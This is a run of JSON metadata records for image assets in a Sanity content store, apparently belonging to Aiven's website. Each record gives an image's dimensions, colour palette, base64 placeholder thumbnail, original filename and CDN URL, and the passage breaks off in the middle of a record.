{"_createdAt":"2023-08-25T08:55:09Z","_id":"image-9c0543162ffd6af1c019f6e8937c6770b21318e4-1567x844-png","_rev":"n4o7HM4ybKf4O57IbTPtNk","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:55:09Z","assetId":"9c0543162ffd6af1c019f6e8937c6770b21318e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7x2}%KM^ofM|?wocM{ogRkRORjaet7od","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokSWNeU/acABA+wmktPT89YKWtjpwXokRzcalUqxCATnkpggCIh4TiQzmsXk754yZ2fZht7nk/fvegxA6QXBpgs8SfJ6yl4FYo8UGcLZZZZ9TD4WxY4dr6HCd2N8cC2N7nNoG0jbGmTCVsRAJiJcLM562x3fg8R7Ovut6fP0532AheOYPXwdWboP6Q0B/9IW/B/SHpdVLv3Y6vfCRVzs2pmKlc5DTbXqXu6G1wfLqcFE/CUU+a9GrteR9svCcKr4kci/x7M9Y9nc89xLf+Gqk74L6nTI5JB27uNCGlPFqQOuF1gaL+mDFONfjl3r8OpK8j6YfI6mnlcSTvv7DyPyKpJ8140YzboL6N3X6jHb2gDyEZLfpCx2Fo0MtcrIa/xI2LrToZTh2+375YnL+1DV7+nbuYmrhasJzPjbTG536oEx0GblD2Du01IMEpTgz3/YuHfm1fiA89IY++bXzQPhi0jNk1UNa6gK5z8h9SjrAhS2ULSGggNB5lCnjfBNCQZIUNlipwMkVXq0Jo03R1ZFc+5yyRzp2Scc+JfUo8Qi376CMaaVzCCj+B+PqkAWPWfAYTKzDZNpK5RBQQtlNjNvC+BYuNHGhRbwmcKGFgKKVytrYGsY3UKaCMiZEkAbPJngpD8QSxhYRULb9kxsY30TZ6mvLxLgtG7tppXIwlcG4OsY3EFCAyTRkZwy3lHKPV53uOmWv2LgKztcIoUXYtzGuioAcyuQxrmpjKzCZgcnU67NsIVMjeAzihLRD3BCVkqCajFQFzjortzhlh1f3WLlNi1VarAKpifMmTKYsxLqVysJUZoRI/JX/ANOFqJjgHELwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353168","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.81,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.81,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767bbe","foreground":"#fff","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697092","foreground":"#fff","population":1.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252d91","foreground":"#fff","population":2.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-as-clickhouse-source.png","path":"images/sczeoy4w/production/9c0543162ffd6af1c019f6e8937c6770b21318e4-1567x844.png","sha1hash":"9c0543162ffd6af1c019f6e8937c6770b21318e4","size":131185,"uploadId":"dVMBu7leU32ho5m4ncUYNbM9DekQnnnV","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c0543162ffd6af1c019f6e8937c6770b21318e4-1567x844.png"} {"_createdAt":"2023-06-09T07:47:22Z","_id":"image-1fd19c105f01a2e214a87a2190cfe9db07c8ee0d-3295x1724-png","_rev":"OSa4Of7leLeKOMRysyUwX4","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T07:47:22Z","assetId":"1fd19c105f01a2e214a87a2190cfe9db07c8ee0d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M68;QN0Jt0~701?INIovxbIV02~QoO9d^$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACiElEQVQokUWSyU8TARhH+zewd9oOnXY603aGltJlphRaCkHUg5GweMEIboAUpAvdFwpURGNiDCFuB6MxeDJGD+pf9wxbPH/Jy/vle5Yu6zw29xKSdwWX/xGSbxWndx275wl9znV6BzP0S1kG3DtY5QqC0sCuthH9HZz6EYPac2xKC6tcxqY0sfQ67uALPSY+kSM5XSY5XSMxVUePFBDcGfqcmwy4cwhyEcFTxa428AabpKY63Jp7TXrmJWqwgc1Txq7uYum2LSDr9xmJbxIbz2OkisSSZYaiO7i0LE5/Hpdexj1UQ9Kb+ANVZmfytEsveP/ulN36CTdnani0yrm5pUuYR/LeQw+vE4huEohtEzTyBM0SAaNC0GwQGm0TNPdQQ21S8TzNlVVOT17x989vvn76Qu5xG9NsIvo6Z4aLePQH54aRRJZIokB0vISRqmFOtIhP7pOYekYsdYg/sse18SxHqw84Pe7w6+cPvn/7ykGxQzpZx+FtXwCvJp8Bo2MFjGQZM1Unnm4xegk004fosQNi0RIbC2sc79U5/fyZT28/kHtYJxwunD/G0iUsIPmWCUSfMGxuETKzhEeLhBMVImMNYsldwmN7DBm7yIEGslZhMllk4+E+zeZHMplj0hNVnGr+Emidx6XcZWhkDT28gRbeYtgsEDSK6JESerSGN1Rl0FvA6t7GoZ7dmkzeOOL67TcYEy+RtBpWdxFBrmLp7p/FLS3i11aQtYsOfaGnKMEsDmULm2cbm5w9z6dHXEeQt1CHywSMFgHzAHWkg+hrIXjq2JQGlq7+WUT7HC55Cbu8zIC0gqis4VD+h30F63Gs0ufMIMg57EoO0VvBqe0zqB0i+g4R/c/5BxYDdp3xY7sUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262550","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04248c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e92","foreground":"#fff","population":7.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bbc1","foreground":"#000","population":7.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c84c1","foreground":"#fff","population":1.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e92","foreground":"#fff","population":7.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df8a3d","foreground":"#000","population":1.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Schibsted_Joanna_social_media_1200x6284.png","path":"images/sczeoy4w/production/1fd19c105f01a2e214a87a2190cfe9db07c8ee0d-3295x1724.png","sha1hash":"1fd19c105f01a2e214a87a2190cfe9db07c8ee0d","size":659736,"uploadId":"sv1cIZYhFXNt1GapImmxwCcB7lCT1Dc0","url":"https://cdn.sanity.io/images/sczeoy4w/production/1fd19c105f01a2e214a87a2190cfe9db07c8ee0d-3295x1724.png"} {"_createdAt":"2023-06-09T16:54:39Z","_id":"image-6601ef6fe9482b1a38fe5c393355c08c12df4701-1567x844-png","_rev":"dsxJlHxlnt5nZt5n22HhH9","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T16:54:39Z","assetId":"6601ef6fe9482b1a38fe5c393355c08c12df4701","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M968:u%MIUt7WB_4tRIUogWBxuoff6off6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0klEQVQokX2S22/SUBzH29KydVGgBbksezO+9Jx1QC9soxeIkbgHjZc6TMbGXHpbLzhr8UEfFrViBp1E/2LTDnFqXPLJN+f8Tj6/38nJQVYbLiWe0eKIFkYU7+c5r8D7lODT/IjivELTpTiP5v0rbtVdHFoIYy4otQPw6JzXInF/wj2P4OPz+tNPnBYJLxKazz7zWrTdn7T6E0GL7vberzVcdClX5LCpRfJgqg7jznEsDaadYawczbrHlz19/kCf9/T5nvXjofldHcb39j6Q1+Wy9JZ98pHTIn7/S/vgQj6cSoNp6+XX9sGFcjhTjmadYXz/5Fv31aXYn6yrY2LTRhlz4ZMNr7jzprQblHaDihxWlXFVCctSWFPGVTmsyGFNHW90362r4zvtYK3pYcDCGBMDJgosBAVWSrJZgv1isYZJZoCZAYmWJLRRcIr8frr/gzKJgAODgDoBDRzaGHRQ4CJoeodkyE2mkTpGBiRJQBuHDgpdhIR6vm7nOG9ly8GYpMVfYIyZCgbGGFcVHNgEdDLQRYpbxkbLrUlBXhhlWTvt+gdZaJGsucpay6MstMlNZ4V1kKLglbf90s4Z1Xqd4/3b/5DjPVp0C4J3reLTfPIRfwKL/J7mFV6b9gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b2d43","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbda","foreground":"#000","population":0.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7493","foreground":"#fff","population":1.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c5cb4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_startup_program_our_newest_participants_blog.png","path":"images/sczeoy4w/production/6601ef6fe9482b1a38fe5c393355c08c12df4701-1567x844.png","sha1hash":"6601ef6fe9482b1a38fe5c393355c08c12df4701","size":20898,"uploadId":"skfj1yX79FVRQkb4YIGSoiUBSuAXpLkg","url":"https://cdn.sanity.io/images/sczeoy4w/production/6601ef6fe9482b1a38fe5c393355c08c12df4701-1567x844.png"} {"_createdAt":"2023-06-12T07:43:43Z","_id":"image-7698db9c98e4e6312ac5f96c3c1092676c7cb20a-2500x1308-png","_rev":"OSa4Of7leLeKOMRytNVfU0","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T07:43:43Z","assetId":"7698db9c98e4e6312ac5f96c3c1092676c7cb20a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96IXUxvIUt7RP_Nt7IUogRjt7ofjZoLax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAByklEQVQokV2R/2/SQBjG22sPRTO3lerkNxMTI32vWAftlQ38EqZRiS5RB9tYFjNy12+DdnM/mKiJxgGDxc2I/r/mBogxeXJ53yf3uee9OwmbvuYm2crR0srhjdLhIo01mujuwfXSgV5KNCfOUCHdTURL47QVIvAkgwulrfD2049OvVduDio7Q3uja9e7K1snq81BuTlc3T4Z+492Tx/untob3eyDI5X48hi+YkV3X3yu7Awfv/v+pPWjune21jpfa51X986e85+1YFQLRi/DX+v7v2v+yN3sL5Xfq+BN4PS98Fb1Q379q/nqy/Lrb069S+u94tvjwptjt9FzGz3a6Je3B5Xm0G307zz7NFdoI4PLwAWvgHf1fjRfbF8rtBeKHc3uaE5n0RbSnHhc6DTWaZJx4rnlCBMPgYeIjyCQJEOcMVGOyzmGcuOW/TVRjikGx8BUYApwhfjIDGUSTWHg8sVNJoVYpzK4Qjg2WcpkmDAs6gCZkYCRwS8Tns77qXww+4N/hICrJsMmQ8AQcAU4JoEqkkPpEjDd4lnaXqAxzgeTZ5zqIlaQCpk5KviYBIiEUgpYxmI36f68I+D/YsVWMarInM1ieBh8FYI/WPKROaDfeSMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2e43","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcd9","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#546cb4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cluster_startup_program_june2023.png","path":"images/sczeoy4w/production/7698db9c98e4e6312ac5f96c3c1092676c7cb20a-2500x1308.png","sha1hash":"7698db9c98e4e6312ac5f96c3c1092676c7cb20a","size":116320,"uploadId":"Ufe01trYw6XKN47oB1vkrVhShcG5DWGt","url":"https://cdn.sanity.io/images/sczeoy4w/production/7698db9c98e4e6312ac5f96c3c1092676c7cb20a-2500x1308.png"} {"_createdAt":"2023-06-12T08:43:21Z","_id":"image-7c68ff99210ba304c25e727cf2b3040716e0a96c-1567x844-png","_rev":"rV9BZDYEBgQp95tIytdeS0","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T08:43:21Z","assetId":"7c68ff99210ba304c25e727cf2b3040716e0a96c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86R{3?bRPt7of_N%MM_bHofWARjRPWBog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB/ElEQVQokW3Q62/SYBQG8L4dd0cpAxnTJX6mfdsCvQC2ZWxmRk2cDg06ubgltH17hYw6/bYJ2a2DOPUfNuD8sM3k9/E8ec45WJSzSNFbETxScFekYUb00rxD8k6mMsjWhllpkBU9kndjrInTBkbpt+SUUak5rrbOirtj4f2p1DotNyfs2++VD2dy+1L+dCHvXRR3x2t1P8IicCf8uHGkdIPn2rXSCeR2sLE/rfemcifY3J9t969fGr9e6D8bn6dw5yRTG4Yg+pc05tY3v9Z701fo99bBrN69UrtBde9c+ngutwOlE9R7Vxu9qdoJxNbpk2ff4pwFKAPQCKNNjLawR40juX253f+xdTBTu0Hh9XFe9R8qo3zdz6v+qurn1S951c8pI0L0QswiBu0b2aeHzM6x8G7CNyfsm5NVdRRmEE7rgDZw2gA3dEDN4TRaghYOLTBvNrEoaxJlJ83Ppcp2jDUBffsriwsBpYdoPQaNOGNFIFr6OwMKOk5peEHDCzooaHf/SekYbWC0hUMUhdoDVk+wVoJBETjfCItDLVVEBO9EOQtfNNyDwCIcY/oJth/njASHIowJoIVlOG29Yq8phynRi7AoDFHoPsYMMyjO6cslLVnSlksoyllh1sYyopOrutnaMF0ZEIKb/D8nKTiE4JCSnZZsUnQI3k3y7h8n8aG7SwOF0gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543145","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca8c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bbd8","foreground":"#000","population":0.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7392","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14e5a","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"how_aiven_mitigates_ddos_and_ransomware_attacks_blog.png","path":"images/sczeoy4w/production/7c68ff99210ba304c25e727cf2b3040716e0a96c-1567x844.png","sha1hash":"7c68ff99210ba304c25e727cf2b3040716e0a96c","size":64952,"uploadId":"mnvYEznFl0HnA7tgIuJOJGe8tLBr37ZO","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c68ff99210ba304c25e727cf2b3040716e0a96c-1567x844.png"} {"_createdAt":"2023-06-12T08:43:58Z","_id":"image-8ff6f656a8e68667aae2a7e37c98214840c5318e-2500x1308-png","_rev":"OSa4Of7leLeKOMRytNtFFe","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T08:43:58Z","assetId":"8ff6f656a8e68667aae2a7e37c98214840c5318e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96bcr.8M{ofRj_4x]MxfkayV@RjRjjst7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB4UlEQVQokW2R20/TUBzHT7eug5bIppsDfcE3bc857XSlxQ0mYySCi3cZMWTsdk5PL9vc5UEeXALiFhmdcer/a6okCDH5vP1+n/wuX8AjFjM6qWwvaXaT2V4qN0iudeNGJ7HWXc4P7qz3l7L92497i3o7ghgnU/AvYtp9UBrmK5Ps+69GeZw7OMsdnOl7X8z98WbVL9b8Yn2ar0zwi+OE+YGH1hV/4aGnvT4pOT+f0u/5w/Ot+nS7+W2z6hdq/g6dlewfz71fu9ZsozK5/+zTDb0dUiygWAAyoNhASnv45fEum+1Ys2Jj+uTw3CiP0q9OHr35bOyNjPLI3B+b5ZH+7lQuDeNmNwwdDjoAuQC6QNRcuTQs1Pyt+rRQ9TNvT+9uDGKZVlxv3VxtX6K3FzOtqOqGoMcFphMQQSyZ7a0UP97bPlopHqXW+3Oqw8mUk8kf6F9CMuFlIkAmIJeH7GJ5TqY8tATEBGQLkPEoKHAKvQQyDtphaM0hIiFLQs48tHhIOcUCIZlEIZ3HTMB2oF0LQ6YA2gC6YchE3BQxEbEtBc0suDyqkIRGl41WzOhEVPs/shI8NpiMm6LakDQiqhaPHQ55QFDILY0sGd7iaieC7evmBcEhEUQktbGgNaKYhoKo2G+sl5QWeULifgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3a66","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd9","foreground":"#000","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5464b4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"how_aiven_mitigates_ddos_and_ransomware_attacks_social_media.png","path":"images/sczeoy4w/production/8ff6f656a8e68667aae2a7e37c98214840c5318e-2500x1308.png","sha1hash":"8ff6f656a8e68667aae2a7e37c98214840c5318e","size":110213,"uploadId":"Lya34padjD7Oz2NzpQZxTh1AnD0qtLUY","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ff6f656a8e68667aae2a7e37c98214840c5318e-2500x1308.png"} {"_createdAt":"2023-07-21T13:12:34Z","_id":"image-99cc583f93cb3ab87a14e743e57907a3434eecd9-1722x1566-png","_rev":"liXun5Qglq4dGLky9TZku1","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T13:12:34Z","assetId":"99cc583f93cb3ab87a14e743e57907a3434eecd9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0996168582375478,"height":1566,"width":1722},"exif":{"PixelXDimension":1722,"PixelYDimension":1566,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAABYlAAAWJQFJUiTwAAACBElEQVQ4jZVU2ZLTQAx07NHcp88skE1tQUHx/x/YINlJ8cAu5qF91HjarVZrOiKNEDNKHRFTgjEWRASlFPq+R9d1/wcijZQrpnlFGyeUUlFqRS4VIUT5wTAM5wkVEUpt2K4vWLcXLOsVy7phmhfU2pBShnVOFF8ul/OE63bFvGwY5xV1nJByEYXOeVhrQVqfs4C0RkwFpU3IdUJusyCWBh8T9FHype/PKXTOIOSCWGeU+ROmz29Ybt8wf/mKut3gUkM/7OWeQeedRUgFsW3I2x3j7Tum+0+Mrz+Qt1eYUDAoknLPoDPaIMaE1DaE5Yaw3hG2uzy7OsM4D60N2GsunTd9qJCIxHzOYWozQhnhcoXNFS5m+BhlnTuttcbwr24rIjjnRCUHm7vKG+kAq5P3Z9gHdB8REhNaB+8DQkxyN9ZKVPjOwX90+VywFcH7KNOSS5NMPqclF/gQJTqPUXx69RGhCwmxjJLF2kbUtpPmnMUGJrXWHeXvFvTvjaNSBMvl5ioqY8rwIYivxpjdS9LSZVb5wLtTo4iEgLtcxxGlFMQY4bx/njzi4Zkp6Q6FHAs+acZ5QpsacnmUGo45JvTD3/LXS7N2b4/RFA99kMMgMlFJiDnCxwDr9kOBCZVWUMQgsYB93GGgD2s4ox1f6DBbfJINO3iNlQ0MNTwhPv7x3TOjvxv1C+eYgso15Y8sAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32445e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#646708","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66798e","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7d1b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7e792","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66798e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a424","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"complex-validation-zod.png","path":"images/sczeoy4w/production/99cc583f93cb3ab87a14e743e57907a3434eecd9-1722x1566.png","sha1hash":"99cc583f93cb3ab87a14e743e57907a3434eecd9","size":363713,"uploadId":"tckLGRAmV59PJVnmE41H6qy75WM3vVbg","url":"https://cdn.sanity.io/images/sczeoy4w/production/99cc583f93cb3ab87a14e743e57907a3434eecd9-1722x1566.png"} {"_createdAt":"2024-07-26T18:11:54Z","_id":"image-5ef7fd24f6b4f99ac7520cb36a744839ff9f3322-1200x628-png","_rev":"O3DLOoQbsVaTpwy5vyzEAS","_type":"sanity.imageAsset","_updatedAt":"2024-07-26T18:11:54Z","assetId":"5ef7fd24f6b4f99ac7520cb36a744839ff9f3322","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSB3Y@YGaN4[RO^}5WGK7+rEloHRlT0#k","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYUlEQVQokWWRW0jTcRiGf+6/6QxSTB2ic+KUjFwJUgoaFBRGRp5yTGuYh9xkc26aujLrJmZiQ8VDwzIr6CKCym6ibiS6KojQyq4KIgi71OWBPPye2FbdePHy3T083/sKzGpoSgVnNriyoDUDXOnQkQUePdi00CSQzQLsgt/OWD54q5nse8nQwDyT/a95fm2E75eL2epWENRooXU3eAvgUgF488BrgisHoMcErkSwaZA21X/gnNfMRN8M/f5vjA7M8sR3jy+9JWxcjEVg0YLNAJ5c8OyBNiO0Z0NXDnQaoSMN3ElIhzYMXHdqme8u475vmkH/Z8YH53h04ykf+2ys+kwIzBqoT4IWA7TowZ4CzlRwpYErBdw6cCciHTHQIth0aFjwmHjb08zM9X5ejd7iTWCMrzc7WQlUIaRZg2zQIR1GZKsR6cpEujOR7ZnQno50xCPDL0eBLdRlFOu2WJadOoK9+wiOVfHrbiNrU1Y275wOGarh3C6w68FhAGd6ZBSPAelOBfuO8Cg0C2To1qnAqkC9Ci4kwHAhTJXDVBlMnkRsVCksmuP4aUnmhyWZhZpElqxxbDaEQFpkoxIGhVduFMjaKKRFjbQqSHc80p+PvF0ayUQJIlgRzfvyDKZP5fHg+H4eluTwrlzHSq0CdQJZ/9csBDwfMhRgVUGDAp0J4M+HwDEIHIXxI4jlCg2fKvS8KMvlcelenp3IZrYimZUz6u1A+7+ooC0GrqbBUCGMHYbRQzBShNiqFKxVKgQro1msimapWsNqjcLW2YjNNqBDgEsFXTvBlwPDRTBSHOly6CB/APN89+pFAqLEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55586f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1705","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb6cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9948","foreground":"#000","population":12.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c618d","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Meta Image ALNYC.png","path":"images/sczeoy4w/production/5ef7fd24f6b4f99ac7520cb36a744839ff9f3322-1200x628.png","sha1hash":"5ef7fd24f6b4f99ac7520cb36a744839ff9f3322","size":157945,"uploadId":"hQNGPwoLpYyQkthfvQumPLLNoqTXoVvX","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ef7fd24f6b4f99ac7520cb36a744839ff9f3322-1200x628.png"} {"_createdAt":"2023-05-15T10:13:28Z","_id":"image-032286b5651b1c4982ead92aab6935af79fd005f-1324x765-png","_rev":"rmwlP4nleGzuGoL3WAPsx2","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:56:38Z","altText":"Aiven Console screenshot migrate service to another cloud","assetId":"032286b5651b1c4982ead92aab6935af79fd005f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M1RV|V0000000000Di^*%M?I00pINh$y~B","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABf0lEQVQokXWRz24TMRCH886ABK9RXgGJS9UqXDhVLWfEoZsKidJSbVKS7J/sru2xZ8b2uMi7WXLqT5/sOfjzeOTFm/dnnz5/Xd3dPzyWD4/ln6dNuf673TVVfRjp/lOPTPV6s//+4+fi7YeP5xdXZfnctm3TtF3X9X0/DEoprbWBHDthrXPWjYtrD0Nx9zvLF8vr7a42xmiljdagtRljARCRjmHPPswZlFmd5G0Fxjhj0AACoLOIBMhAgTkyhuCjiKQxIqKUKVb3i3ejvFk/q65xaiADBEAOkPhgpYFkraAOgSSllykppZN8+eVmv6sQNAN46xgdM7EPhkRhQsqdo5ejOsurWf7WNH3wPhDFfJZznRN9iNOQMcQk8pJSVsdnz/Lypq5aduitiw4jUiDOs1ImjGskFh9SyEgIqtdFkeWzy+V1va3JGDYQHQqREJ/AY5EyPpEX8qpTxe2vufO+JevYoXg/Xf8KMYUo/tQ5z1zVXf5K5hjzbK+TUt6PX/UPdeBeFBwZVZcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4247","foreground":"#fff","population":0.02,"t